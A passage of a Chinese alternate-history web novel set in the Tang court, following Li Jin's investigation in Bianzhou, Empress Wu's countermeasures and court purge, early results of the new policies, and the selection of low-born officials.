“赵虎,” 他忽然开口,“这几日,外面眼线有何异动?”
“回公子,比前几日更多,更明目张胆。尤其是今日午后,多了不少生面孔,眼神不正,像是江湖人物。” 赵虎沉声道,“属下已加派了双哨,巡察院内外也安排了暗桩。”
“苏稷那边,复核名册有发现吗?”
“苏先生傍晚遣人回报,已核对出数十户借贷人信息可疑,或是查无此人,或是与郑家关联极深。他正带人连夜暗访其中几户,最迟明早会有确切消息。”
李瑾站起身,走到窗前,望着外面黑黢黢的街道。“太顺利了……” 他低声道,“冯全和郑家,忍耐快到极限了。狗急跳墙,恐怕就在这几日。传令下去,所有人,今夜衣不解甲,刀不离手。巡察院内外,加强警戒。还有……” 他眼中闪过一道精光,“明日,将所有收到的诉状,尤其是涉及郑家和州衙要害人物的,单独誊抄一份,用火漆封好,派两名最可靠的兄弟,连夜出城,分走两条路,务必在明日午时前,送到洛阳留守府和长安政事堂李司空手中!”
“公子是担心……” 赵虎神色一凛。
“有备无患。” 李瑾声音平静,却带着凛冽的寒意,“若他们真敢动手,那便是自寻死路。我们……等着。”
夜色更深,汴州城陷入了短暂的寂静。但这寂静之下,杀机已如毒蛇般昂起了头,等待着致命一击的时刻。
第107章 媚娘稳中枢
长安,紫宸殿侧殿。已是子夜时分,宫灯将武媚娘伏案的身影拉得很长。她面前堆着高高的奏章,朱笔时停时走,眉宇间笼着一层淡淡的疲惫,但那双凤目依旧明亮锐利,仿佛能洞穿纸背,看到帝国最细微的脉络与最幽暗的角落。
殿内炭火正旺,却驱不散她心头那丝若有若无的寒意。李瑾出巡已近两月,寿州雷霆手段的捷报传来时,她曾展颜。但随之而来的,是更多、更隐晦的阻力。朝堂之上,那些对新政的质疑、对“操切扰民”的担忧,虽在李勣、许敬宗等人的支持下被暂时压下,却从未停歇,反而随着时间推移,变得更加“忧国忧民”、引经据典。地方上,除了汴州、冀州这些硬骨头,各地关于新政“执行困难”、“民情不稳”甚至“激起小股民怨”的奏报也多了起来,用词谨慎,却指向明确——新政过于激进,恐生变故。
她更清楚,这些奏报背后,是那些盘根错节的旧贵们无声的角力。他们不会在朝堂上公然咆哮反对,却会用这种更隐蔽、更“合理”的方式,一点点地磨损新政的锋刃,消耗推行者的精力,等待一个可以发难的机会。
“李瑾那边……汴州情况如何?” 她停下笔,抬眼看向侍立在一旁的宦官总管王伏胜。这个从感业寺时期就跟随着她的老人,如今是她最信任的耳目之一。
王伏胜趋前一步,低声道:“回禀皇后殿下,按行程,李相此刻应在汴州。前日有百骑司密报送回,言汴州刺史冯全表面极为恭顺,新政各项‘推行得力’,然李相已设巡察院受理讼告,并调取‘青苗贷’详册复核,似已察觉有异。只是……汴州乃郑氏根基,铁板一块,恐非寿州可比。李相此行,恐有波折。”
武媚娘指尖轻轻叩击着案几。冯全,郑家……她记得这个人,也深知荥阳郑氏在河南道的势力。李瑾的刚猛手段在寿州见效,在汴州却可能激起更强烈的反弹。狗急了会跳墙,何况是郑家这样的庞然大物。
“洛阳和长安通往汴州的驿道,近来可有异动?” 她忽然问道。
王伏胜略一思索:“奴婢已加派人手,严密监控。目前未见大规模异常。只是……” 他声音压得更低,“三日前,有数批身份不明、看似商旅的人马,分别从长安、洛阳出发,往汴州方向而去。虽分散行动,但目的地似乎一致。已派人暗中缀上。”
武媚娘心中一凛。这绝不是巧合。李瑾在汴州的一举一动,显然牵动着某些人最敏感的神经。派去的人,是去“协助”冯全和郑家应对,还是……有更危险的图谋?
“加派得力人手,沿路接应,务必确保李瑾安全。若有异动,不惜一切代价,也要将人给本宫平安带回来!” 她声音不高,却带着不容置疑的决断。
“是!” 王伏胜躬身领命,正要退出,殿外忽然传来急促却刻意放轻的脚步声。一名身着夜行衣、风尘仆仆的百骑司校尉被引了进来,他怀中紧紧抱着一个油布包裹,见到武媚娘,单膝跪地,双手将包裹高举过头。
“启禀皇后殿下,汴州八百里加急密报!李相亲笔,言十万火急,必呈御览!”
武媚娘霍然起身:“呈上来!”
王伏胜疾步上前接过包裹,检查火漆完好后,小心拆开,里面是数封密信。最上面一封,正是李瑾的笔迹。武媚娘迅速展开,一目十行。信中,李瑾简述了汴州“青苗贷”被郑家及州衙胥吏巧妙扭曲、利益输送的实情,以及冯全阳奉阴违、制造“完美政绩”假象的伎俩。更提到已设巡察院,受理诉状,触及对方要害,恐其狗急跳墙。最后写道:“……汴州郑氏,树大根深,爪牙遍布,与州衙勾结极深。臣设巡察院,如刺其心腹,彼等必不安。近日城中陌生面孔增多,恐有不利。臣已做防备,然明枪易躲,暗箭难防。若臣有不测,或音讯中断,则汴州之事,必已生变。冯全、郑元礼等,必有异动。朝廷宜早做绸缪,防其串联地方,捏造事端,反诬朝廷新政逼反良民。随信附汴州所收部分诉状摘要及可疑线索,请陛下、皇后殿下圣裁。新政初行,根基未稳,万不可因臣一人而废。若事有不谐,请陛下与皇后殿下,务必坚持新政,清除蠹虫,则臣虽死无憾。”
信末,是几页诉状摘要和苏稷查访的线索,条条指向郑家与州衙。
武媚娘捏着信纸的手,指节微微发白。她仿佛能透过纸背,看到李瑾在汴州巡察院中,于孤灯下疾书,四周危机四伏的情景。这个年轻人,是她和李治推行新政最锋利的一把刀,也是她极为看重的臂助。他预见到了危险,甚至写下了近乎遗言的嘱托……
一股混杂着愤怒、担忧和凛冽杀意的情绪,瞬间冲上武媚娘的心头。但她强行将这股情绪压了下去,深深吸了一口气。越是危急时刻,越需要冷静。
“除了这封信,可还有别的消息传来?李瑾现在如何?” 她的声音恢复了平静,却更显冰冷。
“禀殿下,此信是李相三日前发出,由两名百骑司兄弟分路送出,这是其中一路。另一路尚未抵达。汴州方面,自昨日午后起,百骑司常规密报亦中断。恐……恐有变故。” 校尉低头回禀。
密报中断……武媚娘的心猛地一沉。这意味着,李瑾在汴州的处境,可能比信中所说更为凶险,甚至其情报网络已被破坏或压制。
“王伏胜!”
“奴婢在!”
“立刻去请英国公(李勣)、许侍郎(许敬宗),还有兵部崔尚书,即刻进宫议事!要隐秘,从侧门入。” 武媚娘语速极快,“另外,传本宫令,皇城、宫城即刻加强戒备,没有本宫手谕,今夜任何人不得擅出!通知左右千牛卫,随时待命!”
“是!” 王伏胜知道事态严重,不敢有丝毫耽搁,匆匆离去。
武媚娘重新坐下,将李瑾的信又仔细看了一遍,目光在那句“防其串联地方,捏造事端,反诬朝廷新政逼反良民”上停留片刻。好一个倒打一耙!若李瑾真的在汴州“出事”,冯全和郑家必然会利用地方势力,编织一个“钦差李瑾行事操切、激起民变、不幸罹难”的谎言,然后将脏水泼向新政,甚至泼向她这个皇后!届时,朝野哗然,那些本就对新政不满的旧贵必定群起攻之,新政很可能就此夭折,她和李治的威望也会受到沉重打击。
“想得美。” 武媚娘眼中寒光乍现,低声自语。她绝不会让这种事情发生。李瑾不能有事,新政更不能倒!
不到半个时辰,李勣、许敬宗、兵部尚书崔敦礼便被秘密召入宫中。三人都是皇帝和皇后的心腹重臣,尤其是李勣,德高望重,是军方柱石,也是新政的坚定支持者。
武媚娘没有过多寒暄,直接将李瑾的密信递给三人传阅。殿内气氛瞬间凝重如铁。
“岂有此理!” 许敬宗看完,又惊又怒,“郑元礼、冯全竟敢如此!这是欺君罔上,形同谋逆!李相危矣!”
崔敦礼眉头紧锁:“汴州驻军……守将王弼,似乎与郑家有些姻亲关系。若汴州真有变,恐其态度暧昧。当务之急,是立刻派兵接应李相,控制汴州局势!”
李勣老成持重,但花白的眉毛下,目光锐利如鹰:“皇后殿下,李瑾信中推测,对方可能铤而走险,甚至制造事端反诬朝廷。此虑甚深。郑家树大根深,在河南道乃至朝中,皆有同气连枝者。若李瑾遇害,他们必会抢先捏造罪名,混淆视听。我们必须 抢 在 他 们 前 面!”
“英国公所言极是。” 武媚娘点头,声音斩钉截铁,“本宫召诸位前来,正是此意。李瑾,必须救!汴州乱局,必须平!但更重要的,是 不 能 给 他 们 颠 倒 黑 白、 攻 讦 新 政 的 机 会!**”
她站起身,凤目扫过三人:“今夜,就要动手!”
“崔尚书!”
“臣在!”
“你持本宫与陛下手谕,即刻调左骁卫精骑三千,一人双马,连夜出发,以‘巡边演练,途经汴州’为名,火速驰援!抵达汴州后,若李瑾安好,则听其调遣,控制局面,缉拿冯全、郑元礼一干人犯!若……若李瑾已遭不测,或汴州有变,则立即接管城防,封锁四门,许进不许出!所有州衙官吏、郑府上下,全部拘押,等候朝廷发落!若有抵抗,格杀勿论!” 武媚娘语速极快,命令清晰,“记住,速度要快,声势要大!要让所有人知道,朝廷的兵马到了!更要让汴州那些魑魅魍魉,来不及编织谎言!”
“臣,遵旨!” 崔敦礼凛然应命,知道这是要动用雷霆手段,不惜以大军压境,震慑地方,同时也是对可能存在的军方内部不稳定因素的强行压制。
“许侍郎!”
“臣在!”
“你立刻草拟几道诏书。第一,以‘推行新政不力、御下不严、致使民情不稳’为由,即刻罢免汴州刺史冯全、司马郑伦等人官职,押解进京问罪!第二,着令河南道观察使,暂代汴州政务,彻查‘青苗贷’弊案及州衙上下不法情事!第三,也是最重要的,” 武媚娘目光炯炯,“以陛下名义,明发诏令, 嘉 奖 李 瑾 巡 察 有 功, 揭 露 地 方 积 弊, 为 国 辛 劳! 并 严 申 新 政 乃 国 之 根 本, 凡 阻 挠 新 政、 欺 上 瞒 下、 鱼 肉 百 姓 者, 无 论 身 份 官 职, 一 体 严 惩 不 贷! 此诏,要用六百里加急,明发天下各道州县!尤其是河南、河北、淮南诸道,要让他们明天一早就看到!”
许敬宗眼睛一亮,心中暗赞。这一手太高明了!在对方可能诬告李瑾、攻击新政之前,朝廷抢先定性,嘉奖李瑾,肯定新政,堵住所有人的嘴!如此一来,无论汴州发生什么,朝廷都占据了道德和法律的制高点。郑家若再敢诬蔑,便是公然对抗朝廷明诏!
“臣即刻去办!” 许敬宗领命。
“英国公,” 武媚娘看向李勣,语气稍缓,但依旧坚定,“朝堂之上,就拜托老国公了。明日大朝,恐怕不会平静。那些与郑家有关联,或本就对新政不满之人,得知汴州可能生变,定会借机发难,攻击新政,甚至攻讦本宫与陛下任用非人、激化矛盾。老国公需稳住局面,必要时,可先行弹劾几个跳得最欢的,就说他们…… 结 党 营 私, 遥 为 呼 应, 阻 挠 国 策! 具体人选,本宫稍后会给你。我们要 主 动 出 击, 清 洗 一 批, 震 慑 一 批!”
李勣深深看了武媚娘一眼,这位皇后的果决与狠辣,再次让他感到心惊,却也深知这是目前稳住大局、推行新政不得不为的手段。他缓缓点头:“老臣明白。皇后放心,明日朝会,有老臣在,乱不了。”
“好!” 武媚娘深吸一口气,目光灼灼,“诸位,新政成败,陛下威信,乃至朝廷安稳,皆系于此一举。李瑾在前方披荆斩棘,甚至可能已身陷险境。我们在后方,决不能乱,更要为他扫清障碍,稳住阵脚! 此 刻, 长 安 的 风 向, 必 须 掌 握 在 我 们 手 中! 去准备吧!”
“臣等领旨!” 三人肃然行礼,匆匆离去,各自执行那关乎无数人命运的命令。
侧殿内恢复了寂静,只剩下武媚娘一人。她走到窗前,推开一丝缝隙,寒冷的夜风瞬间涌入,吹得她衣袂飘飞。东方天际,已隐隐泛起鱼肚白。新的一天,也是充满凶险与较量的一天,即将到来。
她望向汴州的方向,那里依旧被沉沉的夜色笼罩。“李瑾,撑住。” 她低声自语,仿佛在对自己最锋利的剑说话,也仿佛在对自己说,“本宫绝不会让任何人在长安,动摇你的后方,污你之功,毁新政之基!”
次日,大朝会。
果然,李瑾在汴州“可能激起民变”、“行事操切、恐生不测”的流言,不知从何处悄然散开,像毒雾一样弥漫在朝堂之上。尽管李勣、许敬宗等人极力驳斥,但一些与关陇集团、山东旧族关系密切的官员,还是纷纷出列,或“忧心忡忡”地表示“新政虽好,但不宜操之过急,当以安抚地方为重”,或“义正辞严”地要求“朝廷应立刻召回李瑾,另派老成持重之臣,妥善处理汴州事宜,以免激化矛盾”。
甚至有人语带机锋:“李相年轻气盛,持尚方剑巡狩,固然可震慑不法,然过刚易折。若因处置不当,引发地方动荡,乃至……有损朝廷颜面,岂非辜负陛下、皇后信任?亦使新政蒙尘?”
就在质疑声渐起,气氛微妙之际,一名宦官急匆匆上殿,高声道:“启奏陛下、皇后殿下!河南道八百里加急军报!左骁卫将军崔敦礼奏:奉旨巡边,途经汴州,恰逢汴州奸吏豪强郑元礼、冯全等,欺君罔上,扭曲新政,鱼肉百姓,更 阴 聚 亡 命, 意 图 行 刺 钦 差 李 相, 制 造 民 变 假 象! 幸李相机警,早有防备,会同末将及时弹压,已擒拿首恶郑元礼、冯全、郑伦等一干人犯,汴州现已平定!李相有奏本及所获罪证,随后即至!”
紧接着,又有宦官捧上诏书:“陛下、皇后明诏到!嘉奖同中书门下平章事李瑾巡察有功,揭露积弊,忠勤可嘉!严申新政之国本,凡有阻挠欺瞒、鱼肉百姓者,严惩不贷!诏令明发天下!”
两道消息,一前一后,如同惊雷,炸响在朝堂之上!那些刚刚还在质疑、抨击的官员,顿时目瞪口呆,如遭雷击。行刺钦差?制造民变?这……这和他们预想的剧本完全不同!朝廷不仅预先派了兵马,还抢先嘉奖了李瑾,严申了新政!
李勣趁机出列,须发皆张,怒斥道:“好一群祸·国殃民的蠹虫!竟敢行刺钦差,图谋不轨!此等行径,与谋反何异?老臣以为,当彻查严惩!凡在朝中与之勾连呼应、散播谣言、阻挠新政者,皆应视为同党,一并论处!”
许敬宗立刻附议,并呈上一份早已准备好的名单,上面是几个跳得最欢、与郑家等关系密切的官员名字,罪名是“结党营私,遥为呼应,散布流言,动摇国是”。
端坐于帘后的武媚娘,此刻才缓缓开口,声音透过珠帘,清晰而冰冷地传遍大殿:“陛下有旨:李瑾忠勇可嘉,平定汴州乱逆,有功于国。郑元礼、冯全等,罪大恶极,着即锁拿进京,交由三司严审,从重治罪!其党羽,一体查拿!朝中凡有与之交通、为其张目、攻讦新政、扰乱朝纲者……” 她顿了顿,凤目扫过下方那些面如土色的官员,“ 御 史 台、 大 理 寺 立 即 拿 问, 严 惩 不 贷! 新 政 乃 国 之 根 本, 陛 下 与 本 宫 推 行 之 心, 天 日 可 鉴! 再 有 敢 妄 议、 阻 挠 者, 以 此 为 例!”
“退朝!”
一场潜在的朝堂风暴,被武媚娘以迅雷不及掩耳之势,扼杀在摇篮之中。借着汴州这场未遂的刺杀和叛乱(性质已被定性),她不仅化解了可能针对李瑾和新政的舆论危机,更 趁 机 以 铁 腕 手 段, 在 朝 中 发 动 了 一 次 精 准 的 清 洗。** 数名跳出来反对新政的官员被当场拿下,更多心怀叵测者被震慑,暂时噤声。支持新政的力量,得以巩固。长安的中枢,在她果断甚至堪称狠辣的运筹下,暂时稳住了阵脚。
然而,武媚娘清楚,这只是一次反击。真正的对手,那些隐藏在幕后的庞然大物,尚未真正伤筋动骨。风暴,或许才刚刚开始。但无论如何,她已经向所有人证明了,她和她所支持的新政,绝不缺乏直面挑战、甚至主动出击的勇气与力量。
退朝后,她单独留下了李勣和许敬宗。
“英国公,许侍郎,朝堂虽暂稳,但地方上,类似汴州之事,恐非孤例。李瑾在那边,需要更快的刀,更亮的眼。” 武媚娘沉声道,“着吏部、刑部、御史台,即刻遴选一批干练敢为、背景清白的寒门或低品官员,授予‘巡察御史’或‘观风使’职衔,分赴各道,明察暗访新政推行实情,有先斩后奏之权,直接对政事堂与本宫负责!重点,就放在河南、河北、淮南,以及……关陇诸道!”
她要撒出更多的“李瑾”,将新政的触角,更深入、更强势地插入帝国每一个可能藏污纳垢的角落。前方的刀锋或许会卷刃,甚至折断,但后方的熔炉,必须锻造出更多的利剑。
李勣和许敬宗对视一眼,皆看到了彼此眼中的凝重与决然。皇后这是要主动将战火,烧向更广阔的区域,甚至是门阀势力最根深蒂固的关陇。真正的较量,随着汴州事件的平息,不是结束,而是以另一种更激烈的方式,拉开了序幕。
“臣等,遵旨!”
紫宸殿外,阳光刺破云层,照亮了巍峨的宫阙,也照亮了武媚娘那双深不见底、却燃烧着熊熊野心的凤眸。
第108章 新政初见效
永徽五年的秋天,似乎比往年更多了几分沉甸甸的、金灿灿的意味。长安城的暑气尚未完全退去,但皇城之内,尤其是户部、司农寺、太府寺等衙署,却沉浸在一股近乎节日般的、压抑不住的振奋之中。一份份来自试点州县,乃至更多受新政之风波及地区的奏报,如同秋日枝头累累的果实,带着泥土的清新和阳光的温度,被呈送到了紫宸殿的御案之上。
紫宸殿内,皇帝李治难得地没有倚在御座上,而是站在悬挂的巨大舆图前,听着户部尚书杜正伦(卢承庆因“老病”请辞,杜正伦接任,乃寒门出身、精通经济的干吏)的禀报。皇后武媚娘端坐一旁,手中也拿着一份奏报,唇边噙着一丝浅淡却真实的笑意。
“陛下,皇后殿下,”杜正伦声音洪亮,带着难以掩饰的激动,“自去岁末推行新政试点,尤其今岁开春以来,‘青苗贷’、‘平准法’、‘考成法’诸策在河南、河北、淮南三道及关内、河东部分州县施行,至今已逾半载。据各道州上报及臣与司农寺、太府寺复核, 初 见 成 效, 喜 人 可 观!**”
他展开手中厚厚的一本册子,开始逐项陈述:
“其一, 国 库 钱 粮, 增 长 显 著。 去岁因‘平准法’扩大,市舶司、盐铁茶专卖整顿,加之裁汰部分冗官冗费,国库岁入已较贞观末年增两成。今岁上半年,仅河南、河北、淮南三道,因‘青苗贷’本息回收顺利(除汴州等少数作乱之地被追回外),新增息钱、息粮折合已逾三十万贯。更因‘考成法’推行,地方官吏催征赋税不敢懈怠,加之吏治稍清,中饱私囊者减少, 今 岁 夏 税 上 缴 速 度 与 完 成 度, 较 往 年 同 期 提 高 近 四 成! 太仓、左藏库钱粮充盈,为近年之最。预估至年底,国库岁入可较贞观末年净增 五 成 以 上! 此乃实打实之进项,非加赋于民所得!” 杜正伦说到此处,声音都有些发颤。作为掌管国家钱袋子的户部尚书,没有什么比看到库房充实更让人安心和振奋的了。
皇帝李治闻言,脸上病容带来的灰败之气都似乎被这好消息驱散了不少,眼中焕发出光彩:“好!好!果真是‘新政’之力!杜卿,这些钱粮,务要妥善调度。‘平边’大业的军需,各地水利修缮,官学开支,还有官吏俸禄,都要保障。”
“陛下放心,臣已会同兵部、工部、吏部详加核算,绰绰有余!且尚有结余,可备不时之需,或用于来年扩大‘青苗贷’等惠民之策。” 杜正伦信心满满。
“其二,”杜正伦继续道,翻过一页,“ 民 间 生 计, 初 现 改 观。 此乃‘青苗贷’与‘平准法’之功。据各道按察使及新任‘巡察御史’回报,在‘青苗贷’推行得力之处,如寿州(经李相整顿后)、洛阳周边、淮南部分州县,今春青黄不接之时,贫苦农户因得以低息借贷口粮、种子, 未 见 大 规 模 典 卖 田 产、 鬻 子 卖 女 之 惨 状。 秋粮长势普遍良好,若无大灾,丰收可期。百姓面有菜色者减少,市井之间,怨怼之言渐稀,称颂朝廷‘仁政’者增多。 更 有 原 本 濒 临 破 产 的 自 耕 农, 因 得 官 贷 缓 过 一 口 气, 今 岁 或 可 保 住 田 产, 此 乃 遏 制 兼 并、 稳 固 国 本 之 始!**” 他特意提到了“自耕农”,这是帝国税基和兵源的根本,其数量的稳定甚至增长,意义重大。
“此外,‘平准法’扩大后,官府在丰年或价贱时收购储备,在灾年或价贵时平价投放, 大 大 平 抑 了 粮 价 波 动。** 今岁春夏,河南、淮南部分地区有小范围旱情,粮价本有上扬之势,但因官府及时从常平仓调粮平粜,粮价很快稳定,未出现往年奸商囤积居奇、百姓恐慌抢购之乱象。民心由是安定。” 杜正伦补充道。
武媚娘轻轻点头,这是她最乐见的效果。民心稳,则天下安。新政的最终目的,不仅是充盈国库,更是要赢得百姓的支持,巩固统治根基。
“其三, 吏 治 风 气, 有 所 扭 转。 此乃‘考成法’之功,虽推行时日尚短,且阻力重重,然其效已显。”杜正伦的语气变得谨慎了些,但依旧肯定,“在试点地区,尤其经过李相巡查整顿之处,官员不敢再如以往般一味敷衍、欺上瞒下。为完成‘考成’指标,劝课农桑、兴修水利、清理狱讼、兴办学校等事务,被真正提上日程,并有专人负责,限期完成。虽仍有急功近利、虚报浮夸之弊(朝廷已下诏严查),但比起以往‘不作为’、‘慢作为’,已是进步。 更 有 一 批 务 实 肯 干、 却 因 无 门 第 背 景 而 沉 沦 下 僚 的 官 员, 因 在 ‘ 考 成’ 中 表 现 突 出, 得 以 脱 颖 而 出, 被 破 格 提 拔 或 奖 励, 极 大 地 激 励 了 中 下 层 官 吏 的 任 事 之 心。 吏 部 考 功 司 反 映, 今 岁 地 方 官 员 主 动 请 缨 赴 任 艰 苦 或 繁 剧 之 地 者, 较 往 年 明 显 增 多。 此 乃 新 政 带 来 的 新 气 象。” 他提到了一些具体名字和案例,如某位寒门县令因组织修渠抗旱、垦荒有功,被擢升为州司马;某位州判司因清理积案、平反冤狱得力,受到朝廷嘉奖。
皇帝李治越听越是欣慰,在殿中踱了几步,抚掌叹道:“朕常说,治国之道,在得人。新政能激浊扬清,使贤者上,庸者下,便是最大的成功!皇后,李瑾此番巡察,虽然凶险,但确为新政扫清了不少障碍,打开了局面啊!”
武媚娘微笑道:“陛下圣明。李相勇毅果决,不负圣望。然新政能初见成效,亦赖陛下坚定不移,英国公等老臣坐镇中枢,杜尚书等干吏用心推行,更赖天下百姓感念天恩,勤力耕作。此乃上下同心之力。”
“皇后所言极是。”皇帝点头,又问道,“杜卿,除了这些,可还有别的消息?比如……那些对新政颇有微词的地方,如今又如何了?”
杜正伦略一迟疑,道:“回陛下,新政如良药,总有不愿服药、或服药后有不适反应者。河北、河东部分地区,旧族势力深厚,对‘青苗贷’、‘考成法’仍有暗中抵制,推行缓慢,成效不彰。江南道一些州县,则反映‘考成法’中垦田、赋税等指标过于严苛,于当地工商繁盛、耕地有限的实情不尽相符,请求调整。至于关陇诸道……” 他顿了顿,声音更低,“情形最为复杂。长孙太尉虽在朝中……嗯,保持静默,然其在地方故旧门生众多,‘考成法’与‘青苗贷’在此地的推行,阻力最大,往往流于形式,或如汴州之前例,貌合神离。新任的巡察御史回报,颇多掣肘。”
殿中气氛微凝。皇帝脸上的喜色淡去几分,眉头又蹙了起来。武媚娘却神色不变,平静道:“此在意料之中。新政触及根本,岂能一帆风顺?有成效,便是好事,证明此路可行。有阻力,更是常态,正好让我们看清,哪些是真正的顽瘴痼疾,需要下重手,用猛药。杜尚书,对那些确有困难、请求调整的地区,可命政事堂会同相关部司,仔细核查,若情有可原,可酌情微调细则,但新政大方向不可动摇。对那些阳奉阴违、暗中抵制,甚至如汴州郑氏般图谋不轨者……”
她凤目微抬,寒光一闪:“ 朝 廷 的 尚 方 剑, 不 是 摆 设。 李 相 在 汴 州 的 做 法, 便 是 榜 样。 告 诉 那 些 巡 察 御 史, 放 手 去 做, 朝 廷 是 他 们 的 后 盾。 对 于 关 陇 … …” 她停顿了一下,没有说下去,但眼中的深意,杜正伦和皇帝都看懂了。那将是下一阶段,最难啃,也最核心的战场。
“臣明白。” 杜正伦肃然躬身。
“还有,”武媚娘转向皇帝,“陛下,新政初见成效,百姓称颂,此乃宣扬朝廷德政、稳固民心之良机。臣妾以为,可命将作监、翰林院,将新政之利、国库之丰、民生之改善,择其要者,绘制成图,或编成浅显歌谣,颁行各地,广为宣谕。让天下人都知道, 遵 行 新 政, 国 富 民 安; 阻 挠 新 政, 便 是 与 国 家 为 敌, 与 亿 兆 黎 民 为 敌! 同 时, 对 于 那 些 在 新 政 中 表 现 突 出 的 官 员、 吏 员, 不 仅 要 奖, 更 要 大 张 旗 鼓 地 奖, 树 为 典 范! 如 此, 方 能 鼓 舞 人 心, 导 向 正 途。”
“皇后思虑周全,便依皇后所言。” 皇帝欣然应允。
数日后,数道诏令自长安发出。一道是嘉奖在推行新政中卓有成效的官员,名单颇长,其中不乏寒门出身者,赏赐丰厚,引得朝野瞩目。一道是命各地州县,将“永徽新政”惠民之实绩,如“青苗贷”惠及户数、平抑粮价成效、新垦田亩、清理狱讼、兴学数目等,在城门口、市集等显眼处张榜公布。第三道,则是准许国子监、弘文馆学子,在通过考核后,可赴各道州县“观政实习”,参与新政具体事务,既是培养人才,也是将新政的理念更深地植入未来的官僚体系。
与此同时,几支由将作监画师、翰林院待诏、以及“北门学士”中擅长文辞者组成的队伍,悄然离开长安,分赴各道。他们的任务,是将新政带来的变化,用最直观的图画、最通俗的言语,传播到市井乡野。一幅幅描绘“官府放贷救急”、“粮价平稳百姓安居”、“官吏丈量新田”、“学堂孩童读书”的画卷,被张贴在州县闹市;一首首歌颂“皇后仁德”、“天子圣明”、“新政惠民”的俚曲歌谣,在茶楼酒肆、田间地头传唱。
效果是立竿见影的。至少在那些新政推行较为顺畅、百姓已得实惠的地区,朝廷的威望达到了一个新的高度。许多原本对“皇后干政”、“新法扰民”将信将疑的普通百姓,开始真切地感受到变化。虽然生活依然清苦,但那份压在心头、随时可能家破人亡的窒息感,似乎减轻了些许。茶馆里,开始有人低声议论:“听说了吗?东村的王老汉,春天借了官贷,秋粮下来,除了还贷,竟还略有盈余,保住那两亩命根子了!”“是啊,今年粮价也没像往年那样乱涨,城里陈记米行的东家,以前最爱囤积,今年据说被官府敲打了几次,老实多了。”“咱们县的那个李县尉,以前不声不响,今年带着人修了三条水渠,还被朝廷嘉奖了呢!看来这新法,也不全是坏事……”
当然,质疑和反对的声音从未消失,在旧势力掌控的地区甚至更加喧嚣。他们攻击那些受奖的寒门官员“幸进”、“不通经义”,污蔑张贴的榜文“夸大其词”、“粉饰太平”,指责传唱的歌谣“俚俗不堪”、“有伤风化”。朝堂之上,尽管经过武媚娘的清洗,反对派暂时收敛,但那种冰冷的、审视的、随时准备反扑的目光,依然无处不在。
长孙无忌的府邸,似乎比以往更加门庭冷落,但那种沉静之下,却酝酿着更深的寒意。新政的初步成功,没有让他感到欣慰,反而让他感到了前所未有的危机。这不仅仅是权力和利益的流失,更是一种根本性的、对他所代表的那套价值体系和统治方式的挑战。李瑾在地方的成功,武媚娘在朝中的果断,新政在民间逐渐累积的声望,都像一把把重锤,敲击在他经营数十年的权力根基上。
“他们做得越‘好’,就越危险。” 书房内,长孙无忌对仅剩的几位核心心腹低声道,声音嘶哑,“国库充盈,百姓称颂,寒门雀跃……这是在挖我们的根啊。现在不动,等他们的根扎深了,树长壮了,我们就再没有机会了。”
“太尉,那我们……”
“等。” 长孙无忌闭上眼睛,仿佛在积蓄力量,“他们在明,我们在暗。新政不会一帆风顺,总会出纰漏,总会激起更大的反弹。李瑾那小子,锋芒太露,仇家遍地。武氏……终究是女流,牝鸡司晨,久必生乱。陛下……的身体,你们也清楚。我们只需要耐心,等待一个时机,一个足以将他们连同那套‘新政’连根拔起的时机。 现 在 的 ‘ 成 效’, 不 过 是 肥 了 一 批 泥 腿 子, 寒 了 天 下 士 人 之 心。 得 道 多 助, 失 道 寡 助。 我 们, 等 得 起。**”
然而,无论旧贵们如何不甘、如何谋划,永徽新政的齿轮,在经历最初的艰涩与血光后,已经带着初生的活力,开始缓缓转动,并且越来越快。它带来的变化,如同春雨润物,虽然细小微妙,却已悄然改变着帝国的肌理与气息。 国 库 的 充 盈, 吏 治 的 清 明, 民 心 的 向 背, 这 些 实 实 在 在 的 “ 成 效”, 正 是 新 政 最 有 力 的 武 器, 也 是 李 瑾、 武 媚 娘 乃 至 皇 帝 李 治, 对 抗 一 切 旧 势 力 的 最 大 底 气。** 前方的道路依然布满荆棘,甚至可能更加凶险,但至少此刻,他们可以稍稍驻足,回望来路,为这来之不易的“初见成效”,露出些许欣慰的笑容,然后,更加坚定地,望向那迷雾重重、却必须征服的远方。
紫宸殿的夕阳,将巍峨的宫阙染成一片辉煌的金色。那光芒,仿佛也预示着,一个不同于过往的时代,正披着这“初见成效”的霞光,步履坚定地,走来。
第109章 寒门初登堂
永徽五年冬末的长安,朔风凛冽,但皇城之内,尤其吏部所在的尚书省大院,却涌动着一股与严寒天气迥异的、压抑不住的灼热气息。这股气息,并非来自炭火,而是源于人心——一群长久被排斥在帝国权力核心边缘,甚至几乎看不到希望的人,此刻胸膛中激烈搏动的心脏。
吏部考功司衙署外的庑廊下,或站或坐着数十名身着各色官袍的官员。他们大多年纪不轻,官袍洗得有些发白,甚至打着不起眼的补丁,面容上刻着风霜与劳碌的痕迹,与那些出身高门、面皮白净、举止雍容的年轻郎官们截然不同。他们彼此间交谈不多,眼神中交织着紧张、期盼、怀疑,以及一种近乎神圣的庄重。这些人,便是经过数月严格考核、筛选,从各道州县脱颖而出,被荐举至长安,参加最终“铨选”的地方官吏——其中绝大多数,是寒门或庶族出身。
他们能站在这里,本身就是一个奇迹,是“永徽新政”尤其是“考成法”催生出的、最让旧贵族们寝食难安的新现象。
以往的官员铨选,虽也有考核,但“身、言、书、判”之中,“身”(出身)往往是最重、甚至是决定性的砝码。高门子弟,凭祖荫便可轻松获得美职,而寒门士子,纵有才华,也多在八九品的外县佐贰、主簿、县尉等微末官职上蹉跎岁月,升迁之难,难于上青天。所谓的“考核”,常常流于形式,成为门阀间利益交换和巩固网络的工具。
但这一次,不同了。
“皇后殿下懿旨,陛下圣谕,此次铨选,专为‘考成法’卓异者而设!唯才是举,唯绩是论!不论门第,只问实绩!尔等皆是各道州县依‘考成法’层层遴选,在劝农、兴学、断狱、理财、安民等方面确有殊勋者!今日之试,便是要在这煌煌天日之下,在这尚书省衙署之内,让才学实绩说话,让天下人看看,我大唐选官用人之正道!”
吏部尚书、同中书门下三品高季辅(接替长孙无忌一派的某位官员,相对中立但支持新政)站在阶上,声音洪亮,传遍院落。他年事已高,但此刻精神矍铄,目光扫过下方那些因激动而微微颤抖的寒门官员,心中亦是感慨万千。他出身渤海高氏,虽非最顶级门阀,但也算士族,深知此例一开,对旧有秩序冲击之大。但皇帝和皇后意志坚决,新政成效初显,大势所趋,他亦只能顺应。
